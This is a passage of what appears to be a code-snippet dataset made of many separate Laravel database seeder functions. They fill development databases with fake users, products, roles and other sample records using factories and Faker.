$role->givepermissionTo(Permission::all());\n\n \\DB::table('languages')->insert(['name' => 'English', 'code' => 'en']);\n \\DB::table('languages')->insert(['name' => 'Français', 'code' => 'fr']);\n }", "public function run()\n {\n $this->call(UsersTableSeeder::class);\n $this->call(PermissionsSeeder::class);\n $this->call(RolesSeeder::class);\n $this->call(ThemeSeeder::class);\n\n //\n\n DB::table('paypal_info')->insert([\n 'client_id' => '',\n 'client_secret' => '',\n 'currency' => '',\n ]);\n DB::table('contact_us')->insert([\n 'content' => '',\n ]);\n DB::table('setting')->insert([\n 'site_name' => ' ',\n ]);\n DB::table('terms_and_conditions')->insert(['terms_and_condition' => 'text']);\n }", "public function run()\n {\n $this->call([\n UserSeeder::class,\n ]);\n\n User::factory(20)->create();\n Author::factory(20)->create();\n Book::factory(60)->create();\n }", "public function run()\n {\n // \\App\\Models\\User::factory(10)->create();\n $this->call(UserSeeder::class);\n $this->call(RolePermissionSeeder::class);\n $this->call(AppmodeSeeder::class);\n\n // \\App\\Models\\Appmode::factory(3)->create();\n \\App\\Models\\Doctor::factory(100)->create();\n \\App\\Models\\Unit::factory(50)->create();\n \\App\\Models\\Broker::factory(100)->create();\n \\App\\Models\\Patient::factory(100)->create();\n \\App\\Models\\Expence::factory(100)->create();\n \\App\\Models\\Testcategory::factory(100)->create();\n \\App\\Models\\Test::factory(50)->create();\n \\App\\Models\\Parameter::factory(50)->create();\n \\App\\Models\\Sale::factory(50)->create();\n \\App\\Models\\SaleItem::factory(100)->create();\n \\App\\Models\\Goption::factory(1)->create();\n \\App\\Models\\Pararesult::factory(50)->create();\n\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n // DB::table('roles')->insert(\n // [\n // ['name' => 'admin', 'description' => 'Administrator'],\n // ['name' => 'student', 'description' => 'Student'],\n // ['name' => 'lab_tech', 'description' => 'Lab Tech'],\n // ['name' => 'it_staff', 'description' => 'IT Staff Member'],\n // ['name' => 'it_manager', 'description' => 'IT Manager'],\n // ['name' => 'lab_manager', 'description' => 'Lab Manager'],\n // ]\n // );\n\n // DB::table('users')->insert(\n // [\n // 'username' => 'admin', \n // 'password' => Hash::make('password'), \n // 'active' => 1,\n // 'name' => 'Administrator',\n // 'email' => '[email protected]',\n // 'role_id' => \\App\\Role::where('name', 'admin')->first()->id\n // ]\n // );\n\n DB::table('status')->insert([\n // ['name' => 'Active'],\n // ['name' => 'Cancel'],\n // ['name' => 'Disable'],\n // ['name' => 'Open'],\n // ['name' => 'Closed'],\n // ['name' => 'Resolved'],\n ['name' => 'Used'],\n ]);\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n\n factory(User::class)->create([\n 'name' => 'Qwerty',\n 'email' => '[email protected]',\n 'password' => bcrypt('secretpassw'),\n ]);\n\n factory(User::class, 59)->create([\n 'password' => bcrypt('secretpassw'),\n ]);\n\n for ($i = 1; $i < 11; $i++) {\n factory(Category::class)->create([\n 'name' => 'Category ' . $i,\n ]);\n }\n\n for ($i = 1; $i < 101; $i++) {\n factory(Product::class)->create([\n 'name' => 'Product ' . $i,\n ]);\n }\n }", "public function run()\n {\n\n \t// Making main admin role\n \tDB::table('roles')->insert([\n 'name' => 'Admin',\n ]);\n\n // Making main category\n \tDB::table('categories')->insert([\n 'name' => 'Other',\n ]);\n\n \t// Making main admin account for testing\n \tDB::table('users')->insert([\n 'name' \t\t=> 'Admin',\n 'email' \t=> '[email protected]',\n 'password' => bcrypt('12345'),\n 'role_id' => 1,\n 'created_at' => date('Y-m-d H:i:s' ,time()),\n 'updated_at' => date('Y-m-d H:i:s' ,time())\n ]);\n\n \t// Making random users and posts\n factory(App\\User::class, 10)->create();\n factory(App\\Post::class, 35)->create();\n }", "public function run()\n {\n $faker = Faker::create();\n\n \\DB::table('positions')->insert(array (\n 'codigo' => strtoupper($faker->randomLetter).$faker->postcode,\n 'nombre' => 'Chef',\n 'salario' => '15000.00'\n ));\n\n\t\t \\DB::table('positions')->insert(array (\n 'codigo' => strtoupper($faker->randomLetter).$faker->postcode,\n 'nombre' => 'Mesonero',\n 'salario' => '12000.00'\n ));\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n $faker = \\Faker\\Factory::create();\n\n foreach (range(1,5) as $index) {\n Lista::create([\n 'name' => $faker->sentence(2),\n 'description' => $faker->sentence(10), \n ]);\n } \n\n foreach (range(1,20) as $index) {\n $n = $faker->sentence(2);\n \tTarea::create([\n \t\t'name' => $n,\n \t\t'description' => $faker->sentence(10),\n 'lista_id' => $faker->numberBetween(1,5),\n 'slug' => Str::slug($n),\n \t\t]);\n } \n }", "public function run()\n {\n $faker = Faker::create('lt_LT');\n\n DB::table('users')->insert([\n 'name' => 'user',\n 'email' => '[email protected]',\n 'password' => Hash::make('123')\n ]);\n DB::table('users')->insert([\n 'name' => 'user2',\n 'email' => '[email protected]',\n 'password' => Hash::make('123')\n ]);\n\n foreach (range(1,100) as $val)\n DB::table('authors')->insert([\n 'name' => $faker->firstName(),\n 'surname' => $faker->lastName(),\n \n ]);\n }", "public function run()\n {\n // \\App\\Models\\User::factory(10)->create();\n $this->call(UsersTableSeeder::class);\n\n // DB::table('users')->insert([\n // 'name' => 'User1',\n // 'email' => '[email protected]',\n // 'password' => bcrypt('password'),\n // ]);\n\n\n $faker = Faker::create();\n \n foreach (range(1,10) as $index){\n DB::table('companies')->insert([\n 'name' => $faker->company(),\n 'email' => $faker->email(10).'@gmail.com',\n 'logo' => $faker->image($dir = '/tmp', $width = 640, $height = 480),\n 'webiste' => $faker->domainName(),\n \n ]);\n }\n \n \n foreach (range(1,10) as $index){\n DB::table('employees')->insert([\n 'first_name' => $faker->firstName(),\n 'last_name' => $faker->lastName(),\n 'company' => $faker->company(),\n 'email' => $faker->str_random(10).'@gmail.com',\n 'phone' => $faker->e164PhoneNumber(),\n \n ]);\n }\n\n\n\n }", "public function run()\n {\n DB::statement('SET FOREIGN_KEY_CHECKS=0;');\n Flight::truncate();\n\n $faker = \\Faker\\Factory::create();\n\n // And now, let's create a few articles in our database:\n for ($i = 0; $i < 100; $i++) {\n\n\n Flight::create([\n 'flightNumber' => $faker->randomNumber(5),\n 'depAirport' => $faker->city,\n 'destAirport' => $faker->city,\n 'reservedWeight' => $faker->numberBetween(1000 - 10000),\n 'deptTime' => $faker->dateTime('now'),\n 'arrivalTime' => $faker->dateTime('now'),\n 'reservedVolume' => $faker->numberBetween(1000 - 10000),\n 'airlineName' => $faker->colorName,\n ]);\n }\n DB::statement('SET FOREIGN_KEY_CHECKS=1;');\n }", "public function run()\n {\n // \\App\\Models\\User::factory(10)->create();\n $this->truncteTables([\n 'users',\n 'products'\n ]);\n\n $this->call(UsersSeeder::class);\n $this->call(ProductsSeeder::class);\n\n }", "public function run()\n {\n /**\n * Dummy seeds\n */\n DB::table('metas')->truncate();\n $faker = Faker::create();\n\n for ($i=0; $i < 10; $i++) { \n DB::table('metas')->insert([\n 'id_rel' => $faker->randomNumber(),\n 'titulo' => $faker->sentence,\n 'descricao' => $faker->paragraph,\n 'justificativa' => $faker->paragraph,\n 'valor_inicial' => $faker->numberBetween(0,100),\n 'valor_atual' => $faker->numberBetween(0,100),\n 'valor_final' => $faker->numberBetween(0,10),\n 'regras' => json_encode([$i => [\"values\" => $faker->words(3)]]),\n 'types' => json_encode([$i => [\"values\" => $faker->words(2)]]),\n 'categorias' => json_encode([$i => [\"values\" => $faker->words(4)]]),\n 'tags' => json_encode([$i => [\"values\" => $faker->words(5)]]),\n 'active' => true,\n ]);\n }\n\n\n }", "public function run()\n {\n // $this->call(UserTableSeeder::class);\n\n $faker = Faker::create();\n\n $lessonIds = Lesson::lists('id')->all(); // An array of ID's in that table [1, 2, 3, 4, 5, 7]\n $tagIds = Tag::lists('id')->all();\n\n foreach(range(1, 30) as $index)\n {\n // a real lesson id\n // a real tag id\n DB::table('lesson_tag')->insert([\n 'lesson_id' => $faker->randomElement($lessonIds),\n 'tag_id' => $faker->randomElement($tagIds),\n ]);\n }\n }", "public function run()\n {\n $this->call(CategoriasTableSeeder::class);\n $this->call(UfsTableSeeder::class);\n $this->call(UsersTableSeeder::class);\n $this->call(UserTiposTableSeeder::class);\n factory(App\\User::class, 2)->create();\n/* factory(App\\Models\\Categoria::class, 20)->create();*/\n/* factory(App\\Models\\Anuncio::class, 50)->create();*/\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n DB::statement('SET FOREIGN_KEY_CHECKS = 0');\n\n Language::truncate();\n Reason::truncate();\n Report::truncate();\n Category::truncate();\n Position::truncate();\n\n $languageQuantity = 10;\n $reasonQuantity = 10;\n $reportQuantity = 10;\n $categoryQuantity = 10;\n $positionQuantity = 10;\n\n factory(Language::class,$languageQuantity)->create();\n factory(Reason::class,$reasonQuantity)->create();\n \n factory(Report::class,$reportQuantity)->create();\n \n factory(Category::class,$categoryQuantity)->create();\n \n factory(Position::class,$positionQuantity)->create();\n\n }", "public function run()\n {\n // \\DB::statement('SET_FOREIGN_KEY_CHECKS=0');\n \\DB::table('users')->truncate();\n \\DB::table('posts')->truncate();\n // \\DB::table('category')->truncate();\n \\DB::table('photos')->truncate();\n \\DB::table('comments')->truncate();\n \\DB::table('comment_replies')->truncate();\n\n \\App\\Models\\User::factory()->times(10)->hasPosts(1)->create();\n \\App\\Models\\Role::factory()->times(10)->create();\n \\App\\Models\\Category::factory()->times(10)->create();\n \\App\\Models\\Comment::factory()->times(10)->hasReplies(1)->create();\n \\App\\Models\\Photo::factory()->times(10)->create();\n\n \n // \\App\\Models\\User::factory(10)->create([\n // 'role_id'=>2,\n // 'is_active'=>1\n // ]);\n\n // factory(App\\Models\\Post::class, 10)->create();\n // $this->call(UsersTableSeeder::class);\n }", "public function run()\n {\n $this->call([\n ArticleSeeder::class, \n TagSeeder::class,\n Arttagrel::class\n ]);\n // \\App\\Models\\User::factory(10)->create();\n \\App\\Models\\Article::factory()->count(7)->create();\n \\App\\Models\\Tag::factory()->count(15)->create(); \n \\App\\Models\\Arttagrel::factory()->count(15)->create(); \n }", "public function run()\n {\n $this->call(ArticulosTableSeeder::class);\n /*DB::table('articulos')->insert([\n 'titulo' => str_random(50),\n 'cuerpo' => str_random(200),\n ]);*/\n }", "public function run()\n {\n $this->call(CategoryTableSeeder::class);\n $this->call(ProductTableSeeder::class);\n\n \t\t\n\t\t\tDB::table('users')->insert([\n 'first_name' => 'Ignacio',\n 'last_name' => 'Garcia',\n 'email' => '[email protected]',\n 'password' => bcrypt('123456'),\n 'role' => '1',\n 'avatar' => 'CGnABxNYYn8N23RWlvTTP6C2nRjOLTf8IJcbLqRP.jpeg',\n ]);\n }", "public function run()\n {\n // \\App\\Models\\User::factory(10)->create();\n $this->call(RoleSeeder::class);\n $this->call(UserSeeder::class);\n\n Medicamento::factory(50)->create();\n Reporte::factory(5)->create();\n Cliente::factory(200)->create();\n Asigna_valor::factory(200)->create();\n Carga::factory(200)->create();\n }", "public function run()\n {\n $this->call([\n RoleSeeder::class,\n TicketSeeder::class\n ]);\n\n DB::table('departments')->insert([\n 'abbr' => 'IT',\n 'name' => 'Information Technologies',\n 'created_at' => Carbon::now(),\n 'updated_at' => Carbon::now(),\n ]);\n\n DB::table('users')->insert([\n 'name' => 'admin',\n 'email' => '[email protected]',\n 'email_verified_at' => Carbon::now(),\n 'password' => Hash::make('admin'),\n 'department_id' => 1,\n 'avatar' => 'default.png',\n 'created_at' => Carbon::now(),\n 'updated_at' => Carbon::now(),\n ]);\n\n DB::table('role_user')->insert([\n 'role_id' => 1,\n 'user_id' => 1\n ]);\n }", "public function run()\n {\n \\App\\Models\\Article::factory(20)->create();\n \\App\\Models\\Category::factory(5)->create();\n \\App\\Models\\Comment::factory(40)->create();\n\n \\App\\Models\\User::create([\n \"name\"=>\"Alice\",\n \"email\"=>'[email protected]',\n 'password' => Hash::make('password'),\n ]);\n \\App\\Models\\User::create([\n \"name\"=>\"Bob\",\n \"email\"=>'[email protected]',\n 'password' => Hash::make('password'),\n ]);\n }", "public function run()\n {\n /** \n * Note: You must add these lines to your .env file for this Seeder to work (replace the values, obviously):\n SEEDER_USER_FIRST_NAME = 'Firstname'\n SEEDER_USER_LAST_NAME = 'Lastname'\n\t\tSEEDER_USER_DISPLAY_NAME = 'Firstname Lastname'\n\t\tSEEDER_USER_EMAIL = [email protected]\n SEEDER_USER_PASSWORD = yourpassword\n */\n\t\tDB::table('users')->insert([\n 'user_first_name' => env('SEEDER_USER_FIRST_NAME'),\n 'user_last_name' => env('SEEDER_USER_LAST_NAME'),\n 'user_name' => env('SEEDER_USER_DISPLAY_NAME'),\n\t\t\t'user_email' => env('SEEDER_USER_EMAIL'),\n 'user_status' => 1,\n \t'password' => Hash::make((env('SEEDER_USER_PASSWORD'))),\n 'permission_fk' => 1,\n 'created_at' => Carbon::now()->format('Y-m-d H:i:s'),\n 'updated_at' => Carbon::now()->format('Y-m-d H:i:s')\n ]);\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n factory(App\\User::class,3)->create()->each(\n \tfunction($user)\n \t{\n \t\t$user->questions()\n \t\t->saveMany(\n \t\t\tfactory(App\\Question::class, rand(2,6))->make()\n \t\t)\n ->each(function ($q) {\n $q->answers()->saveMany(factory(App\\Answer::class, rand(1,5))->make());\n })\n \t}\n );\n }\n}", "public function run()\n {\n $faker = Faker::create();\n\n // $this->call(UsersTableSeeder::class);\n\n DB::table('posts')->insert([\n 'id'=>str_random(1),\n 'user_id'=> str_random(1),\n 'title' => $faker->name,\n 'body' => $faker->safeEmail,\n 'created_at' => date('Y-m-d H:i:s'),\n 'updated_at' => date('Y-m-d H:i:s'),\n ]);\n }", "public function run()\n\t{\n\t\tDB::table(self::TABLE_NAME)->delete();\n\n\t\tforeach (seed(self::TABLE_NAME) as $row)\n\t\t\t$records[] = [\n\t\t\t\t'id'\t\t\t\t=> $row->id,\n\t\t\t\t'created_at'\t\t=> $row->created_at ?? Carbon::now(),\n\t\t\t\t'updated_at'\t\t=> $row->updated_at ?? Carbon::now(),\n\n\t\t\t\t'sport_id'\t\t\t=> $row->sport_id,\n\t\t\t\t'gender_id'\t\t\t=> $row->gender_id,\n\t\t\t\t'tournamenttype_id'\t=> $row->tournamenttype_id ?? null,\n\n\t\t\t\t'name'\t\t\t\t=> $row->name,\n\t\t\t\t'external_id'\t\t=> $row->external_id ?? null,\n\t\t\t\t'is_top'\t\t\t=> $row->is_top ?? null,\n\t\t\t\t'logo'\t\t\t\t=> $row->logo ?? null,\n\t\t\t\t'position'\t\t\t=> $row->position ?? null,\n\t\t\t];\n\n\t\tinsert(self::TABLE_NAME, $records ?? []);\n\t}", "public function run()\n\t{\n\t\tDB::table('libros')->truncate();\n\n\t\t$faker = Faker\\Factory::create();\n\n\t\tfor ($i=0; $i < 10; $i++) { \n\t\t\tLibro::create([\n\n\t\t\t\t'titulo'\t\t=> $faker->text(40),\n\t\t\t\t'isbn'\t\t\t=> $faker->numberBetween(100,999),\n\t\t\t\t'precio'\t\t=> $faker->randomFloat(2,3,150),\n\t\t\t\t'publicado'\t\t=> $faker->numberBetween(0,1),\n\t\t\t\t'descripcion'\t=> $faker->text(400),\n\t\t\t\t'autor_id'\t\t=> $faker->numberBetween(1,3),\n\t\t\t\t'categoria_id'\t=> $faker->numberBetween(1,3)\n\n\t\t\t]);\n\t\t}\n\n\t\t// Uncomment the below to run the seeder\n\t\t// DB::table('libros')->insert($libros);\n\t}", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n factory(App\\User::class, 10)->create()->each(function ($user) {\n // Seed the relation with 5 purchases\n // $videos = factory(App\\Video::class, 5)->make();\n // $user->videos()->saveMany($videos);\n // $user->videos()->each(function ($video){\n // \t$video->videometa()->save(factory(App\\VideoMeta::class)->make());\n // \t// :( \n // });\n factory(App\\User::class, 10)->create()->each(function ($user) {\n\t\t\t factory(App\\Video::class, 5)->create(['user_id' => $user->id])->each(function ($video) {\n\t\t\t \tfactory(App\\VideoMeta::class, 1)->create(['video_id' => $video->id]);\n\t\t\t // $video->videometa()->save(factory(App\\VideoMeta::class)->create(['video_id' => $video->id]));\n\t\t\t });\n\t\t\t});\n\n });\n }", "public function run()\n {\n // for($i=1;$i<11;$i++){\n // DB::table('post')->insert(\n // ['title' => 'Title'.$i,\n // 'post' => 'Post'.$i,\n // 'slug' => 'Slug'.$i]\n // );\n // }\n $faker = Faker\\Factory::create();\n \n for($i=1;$i<20;$i++){\n $dname = $faker->name;\n DB::table('post')->insert(\n ['title' => $dname,\n 'post' => $faker->text($maxNbChars = 200),\n 'slug' => str_slug($dname)]\n );\n }\n }", "public function run()\n {\n $this->call([\n CountryTableSeeder::class,\n ProvinceTableSeeder::class,\n TagTableSeeder::class\n ]);\n\n User::factory()->count(10)->create();\n Category::factory()->count(5)->create();\n Product::factory()->count(20)->create();\n Section::factory()->count(5)->create();\n Bundle::factory()->count(20)->create();\n\n $bundles = Bundle::all();\n // populate bundle-product table (morph many-to-many)\n Product::all()->each(function ($product) use ($bundles) {\n $product->bundles()->attach(\n $bundles->random(2)->pluck('id')->toArray(),\n ['default_quantity' => rand(1, 10)]\n );\n });\n // populate bundle-tags table (morph many-to-many)\n Tag::all()->each(function ($tag) use ($bundles) {\n $tag->bundles()->attach(\n $bundles->random(2)->pluck('id')->toArray()\n );\n });\n }", "public function run()\n {\n // Let's truncate our existing records to start from scratch.\n Contract::truncate();\n\n $faker = \\Faker\\Factory::create();\n\n // And now, let's create a few articles in our database:\n for ($i = 0; $i < 50; $i++) {\n Contract::create([\n 'serialnumbers' => $faker->numberBetween($min = 1000000, $max = 2000000),\n 'address' => $faker->address,\n 'landholder' => $faker->lastName,\n 'renter' => $faker->lastName,\n 'price' => $faker->numberBetween($min = 10000, $max = 50000),\n 'rent_start' => $faker->date($format = 'Y-m-d', $max = 'now'),\n 'rent_end' => $faker->date($format = 'Y-m-d', $max = 'now'),\n ]);\n }\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n $faker=Faker\\Factory::create();\n\n for($i=0;$i<100;$i++){\n \tApp\\Blog::create([\n \t\t'title' => $faker->catchPhrase,\n 'description' => $faker->text,\n 'showns' =>true\n \t\t]);\n }\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n DB::statement('SET FOREIGN_KEY_CHECKS = 0'); // TO PREVENT CHECKS FOR foreien key in seeding\n\n User::truncate();\n Category::truncate();\n Product::truncate();\n Transaction::truncate();\n\n DB::table('category_product')->truncate();\n\n User::flushEventListeners();\n Category::flushEventListeners();\n Product::flushEventListeners();\n Transaction::flushEventListeners();\n\n $usersQuantities = 1000;\n $categoriesQuantities = 30;\n $productsQuantities = 1000;\n $transactionsQuantities = 1000;\n\n factory(User::class, $usersQuantities)->create();\n factory(Category::class, $categoriesQuantities)->create();\n\n factory(Product::class, $productsQuantities)->create()->each(\n function ($product) {\n $categories = Category::all()->random(mt_rand(1, 5))->pluck('id');\n $product->categories()->attach($categories);\n });\n\n factory(Transaction::class, $transactionsQuantities)->create();\n }", "public function run()\n {\n // $this->call(UserSeeder::class);\n $this->call(PermissionsTableSeeder::class);\n $this->call(UsersTableSeeder::class);\n\n $this->call(BusinessTableSeeder::class);\n $this->call(PrinterTableSeeder::class);\n factory(App\\Tag::class,10)->create();\n factory(App\\Category::class,10)->create();\n factory(App\\Subcategory::class,50)->create();\n factory(App\\Provider::class,10)->create();\n factory(App\\Product::class,24)->create()->each(function($product){\n\n $product->images()->saveMany(factory(App\\Image::class, 4)->make());\n\n });\n\n\n factory(App\\Client::class,10)->create();\n }", "public function run()\n {\n Article::truncate();\n\n $faker = \\Faker\\Factory::create();\n\n // And now, let's create a few articles in our database:\n for ($i = 0; $i < 50; $i++) {\n Article::create([\n 'name' => $faker->sentence,\n 'sku' => $faker->paragraph,\n 'price' => $faker->number,\n ]);\n }\n }", "public function run()\n {\n Storage::deleteDirectory('public/products');\n Storage::makeDirectory('public/products');\n\n $this->call(UserSeeder::class);\n Category::factory(4)->create();\n $this->call(ProductSeeder::class);\n Order::factory(4)->create();\n Order_Detail::factory(4)->create();\n Size::factory(100)->create();\n }", "public function run()\n {\n $this->call(RolSeeder::class);\n\n $this->call(UserSeeder::class);\n Category::factory(4)->create();\n Doctor::factory(25)->create();\n Patient::factory(50)->create();\n Status::factory(3)->create();\n Appointment::factory(100)->create();\n }", "public function run()\n\t{\n\t\t\n\t\tDB::statement('SET FOREIGN_KEY_CHECKS = 0');\n\n\t\t$faker = \\Faker\\Factory::create();\n\n\t\tTodolist::truncate();\n\n\t\tforeach(range(1, 50) as $index)\n\t\t{\n\n\t\t\t$user = User::create([\n\t\t\t\t'name' => $faker->name,\n\t\t\t\t'email' => $faker->email,\n\t\t\t\t'password' => 'password',\n\t\t\t\t'confirmation_code' => mt_rand(0, 9),\n\t\t\t\t'confirmation' => rand(0,1) == 1\n\t\t\t]);\n\n\t\t\t$list = Todolist::create([\n\t\t\t\t'name' => $faker->sentence(2),\n\t\t\t\t'description' => $faker->sentence(4),\n\t\t\t]);\n\n\t\t\t// BUILD SOME TASKS FOR EACH LIST ITEM\n\t\t\tforeach(range(1, 10) as $index) \n\t\t\t{\n\t\t\t\t$task = new Task;\n\t\t\t\t$task->name = $faker->sentence(2);\n\t\t\t\t$task->description = $faker->sentence(4);\n\t\t\t\t$list->tasks()->save($task);\n\t\t\t}\n\n\t\t}\n\n\t\tDB::statement('SET FOREIGN_KEY_CHECKS = 1'); \n\n\t}", "public function run()\n {\n Campus::truncate();\n Canteen::truncate();\n Dorm::truncate();\n\n $faker = Faker\\Factory::create();\n $schools = School::all();\n foreach ($schools as $school) {\n \tforeach (range(1, 2) as $index) {\n\t \t$campus = Campus::create([\n\t \t\t'school_id' => $school->id,\n\t \t\t'name' => $faker->word . '校区',\n\t \t\t]);\n\n \t$campus->canteens()->saveMany(factory(Canteen::class, mt_rand(2,3))->make());\n $campus->dorms()->saveMany(factory(Dorm::class, mt_rand(2,3))->make());\n\n }\n }\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n DB::table('users')->insert([\n 'name' => 'admin',\n 'email' => '[email protected]',\n 'password' => bcrypt('admin'),\n 'seq_q'=>'1',\n 'seq_a'=>'admin'\n ]);\n\n // DB::table('bloods')->insert([\n // ['name' => 'A+'],\n // ['name' => 'A-'],\n // ['name' => 'B+'],\n // ['name' => 'B-'],\n // ['name' => 'AB+'],\n // ['name' => 'AB-'],\n // ['name' => 'O+'],\n // ['name' => 'O-'],\n // ]);\n\n \n }", "public function run()\n {\n // $this->call(UserTableSeeder::class);\n \\App\\User::create([\n 'name'=>'PAPE SAMBA NDOUR',\n 'email'=>'[email protected]',\n 'password'=>bcrypt('Admin1122'),\n ]);\n\n $faker = Faker::create();\n\n for ($i = 0; $i < 100 ; $i++)\n {\n $firstName = $faker->firstName;\n $lastName = $faker->lastName;\n $niveau = \\App\\Niveau::inRandomOrder()->first();\n \\App\\Etudiant::create([\n 'prenom'=>$firstName,\n 'nom'=>$lastName,\n 'niveau_id'=>$niveau->id\n ]);\n }\n\n\n }", "public function run()\n {\n //\n DB::table('foods')->delete();\n\n Foods::create(array(\n 'name' => 'Chicken Wing',\n 'author' => 'Bambang',\n 'overview' => 'a deep-fried chicken wing, not in spicy sauce'\n ));\n\n Foods::create(array(\n 'name' => 'Beef ribs',\n 'author' => 'Frank',\n 'overview' => 'Slow baked beef ribs rubbed in spices'\n ));\n\n Foods::create(array(\n 'name' => 'Ice cream',\n 'author' => 'Lou',\n 'overview' => ' A sweetened frozen food typically eaten as a snack or dessert.'\n ));\n\n }", "public function run()\n {\n // Let's truncate our existing records to start from scratch.\n News::truncate();\n\n $faker = \\Faker\\Factory::create();\n\n // And now, let's create a few articles in our database:\n for ($i = 0; $i < 10; $i++) {\n News::create([\n 'title' => $faker->sentence,\n 'summary' => $faker->sentence,\n 'content' => $faker->paragraph,\n 'imagePath' => '/img/exclamation_mark.png'\n ]);\n }\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n factory(App\\User::class, 3)->create();\n factory(App\\Models\\Category::class, 3)\n ->create()\n ->each(function ($u) {\n $u->courses()->saveMany(factory(App\\Models\\Course::class,3)->make())->each(function ($c){\n $c->exams()->saveMany(factory(\\App\\Models\\Exam::class,3)->make())->each(function ($e){\n $e->questions()->saveMany(factory(\\App\\Models\\Question::class,4)->make())->each(function ($q){\n $q->answers()->saveMany(factory(\\App\\Models\\Answer::class,4)->make())->each(function ($a){\n $a->correctAnswer()->save(factory(\\App\\Models\\Correct_answer::class)->make());\n });\n });\n });\n });\n\n });\n\n }", "public function run()\n {\n \\DB::table('employees')->delete();\n\n $faker = \\Faker\\Factory::create('ja_JP');\n\n $role_id = ['1','2','3'];\n\n for ($i = 0; $i < 10; $i++) {\n \\App\\Models\\Employee::create([\n 'last_name' =>$faker->lastName() ,\n 'first_name' => $faker->firstName(),\n 'mail' => $faker->email(),\n 'password' => Hash::make( \"password.$i\"),\n 'birthday' => $faker->date($format='Y-m-d',$max='now'),\n 'role_id' => $faker->randomElement($role_id)\n ]);\n }\n }", "public function run()\n {\n\n DB::table('clients')->delete();\n DB::table('trips')->delete();\n error_log('empty tables done.');\n\n $random_cities = City::inRandomOrder()->select('ar_name')->limit(5)->get();\n $GLOBALS[\"random_cities\"] = $random_cities->pluck('ar_name')->toArray();\n\n $random_airlines = Airline::inRandomOrder()->select('code')->limit(5)->get();\n $GLOBALS[\"random_airlines\"] = $random_airlines->pluck('code')->toArray();\n\n factory(App\\Client::class, 5)->create();\n error_log('Client seed done.');\n\n\n factory(App\\Trip::class, 50)->create();\n error_log('Trip seed done.');\n\n\n factory(App\\Quicksearch::class, 10)->create();\n error_log('Quicksearch seed done.');\n }", "public function run()\n {\n // Admins\n User::factory()->create([\n 'name' => 'Zaiman Noris',\n 'username' => 'rognales',\n 'email' => '[email protected]',\n 'active' => true,\n ]);\n\n User::factory()->create([\n 'name' => 'Affiq Rashid',\n 'username' => 'affiqr',\n 'email' => '[email protected]',\n 'active' => true,\n ]);\n\n // Only seed test data in non-prod\n if (! app()->isProduction()) {\n Member::factory()->count(1000)->create();\n Staff::factory()->count(1000)->create();\n\n Participant::factory()\n ->addSpouse()\n ->addChildren()\n ->addInfant()\n ->addOthers()\n ->count(500)\n ->hasUploads(2)\n ->create();\n }\n }", "public function run()\n {\n $this->call([\n RoleSeeder::class,\n UserSeeder::class,\n ]);\n\n \\App\\Models\\Category::factory(4)->create();\n \\App\\Models\\View::factory(6)->create();\n \\App\\Models\\Room::factory(8)->create();\n \n $rooms = \\App\\Models\\Room::all();\n // \\App\\Models\\User::all()->each(function ($user) use ($rooms) { \n // $user->rooms()->attach(\n // $rooms->random(rand(1, \\App\\Models\\Room::max('id')))->pluck('id')->toArray()\n // ); \n // });\n }", "public function run()\n {\n // \\App\\Models\\User::factory(10)->create();\n Employee::factory()->create(['email' => '[email protected]']);\n Brand::factory()->count(3)->create();\n $this->call([\n TagSeeder::class,\n AttributeSeeder::class,\n AttributeValueSeeder::class,\n ProductSeeder::class,\n ]);\n }", "public function run()\n {\n $this->call(RolesTableSeeder::class); // crée les rôles\n $this->call(PermissionsTableSeeder::class); // crée les permissions\n\n factory(Employee::class,3)->create();\n factory(Provider::class,1)->create();\n\n $user = User::create([\n 'name'=>'Alioune Bada Ndoye',\n 'email'=>'[email protected]',\n 'phone'=>'773012470',\n 'password'=>bcrypt('123'),\n ]);\n Employee::create([\n 'job'=>'Informaticien',\n 'user_id'=>User::where('email','[email protected]')->first()->id,\n 'point_id'=>Point::find(1)->id,\n ]);\n $user->assignRole('admin');\n }", "public function run()\n {\n // $this->call(UserSeeder::class);\n factory(User::class, 1)\n \t->create(['email' => '[email protected]']);\n\n factory(Category::class, 5)->create();\n }", "public function run()\n {\n //$this->call(UsersTableSeeder::class);\n $this->call(rootSeed::class);\n factory(App\\Models\\Egresado::class,'hombre',15)->create();\n factory(App\\Models\\Egresado::class,'mujer',15)->create();\n factory(App\\Models\\Administrador::class,5)->create();\n factory(App\\Models\\Notificacion::class,'post',10)->create();\n factory(App\\Models\\Notificacion::class,'mensaje',5)->create();\n factory(App\\Models\\Egresado::class,'bajaM',5)->create();\n factory(App\\Models\\Egresado::class,'bajaF',5)->create();\n factory(App\\Models\\Egresado::class,'suscritam',5)->create();\n factory(App\\Models\\Egresado::class,'suscritaf',5)->create();\n }", "public function run()\n {\n \n User::factory(1)->create([\n 'rol'=>'EPS'\n ]);\n Person::factory(10)->create();\n $this->call(EPSSeeder::class);\n $this->call(OfficialSeeder::class);\n $this->call(VVCSeeder::class);\n $this->call(VaccineSeeder::class);\n }", "public function run()\n {\n // $faker=Faker::create();\n // foreach(range(1,100) as $index)\n // {\n // DB::table('products')->insert([\n // 'name' => $faker->name,\n // 'price' => rand(10,100000)/100\n // ]);\n // }\n }", "public function run()\n {\n $this->call([\n LanguagesTableSeeder::class,\n ListingAvailabilitiesTableSeeder::class,\n ListingTypesTableSeeder::class,\n RoomTypesTableSeeder::class,\n AmenitiesTableSeeder::class,\n UsersTableSeeder::class,\n UserLanguagesTableSeeder::class,\n ListingsTableSeeder::class,\n WishlistsTableSeeder::class,\n StaysTableSeeder::class,\n GuestsTableSeeder::class,\n TripsTableSeeder::class,\n ReviewsTableSeeder::class,\n RatingsTableSeeder::class,\n PopularDestinationsTableSeeder::class,\n ImagesTableSeeder::class,\n ]);\n\n // factory(App\\User::class, 5)->states('host')->create();\n // factory(App\\User::class, 10)->states('hostee')->create();\n\n // factory(App\\User::class, 10)->create();\n // factory(App\\Models\\Listing::class, 30)->create();\n }", "public function run()\n {\n Schema::disableForeignKeyConstraints();\n Grade::truncate();\n Schema::enableForeignKeyConstraints();\n\n $faker = \\Faker\\Factory::create();\n\n for ($i = 0; $i < 10; 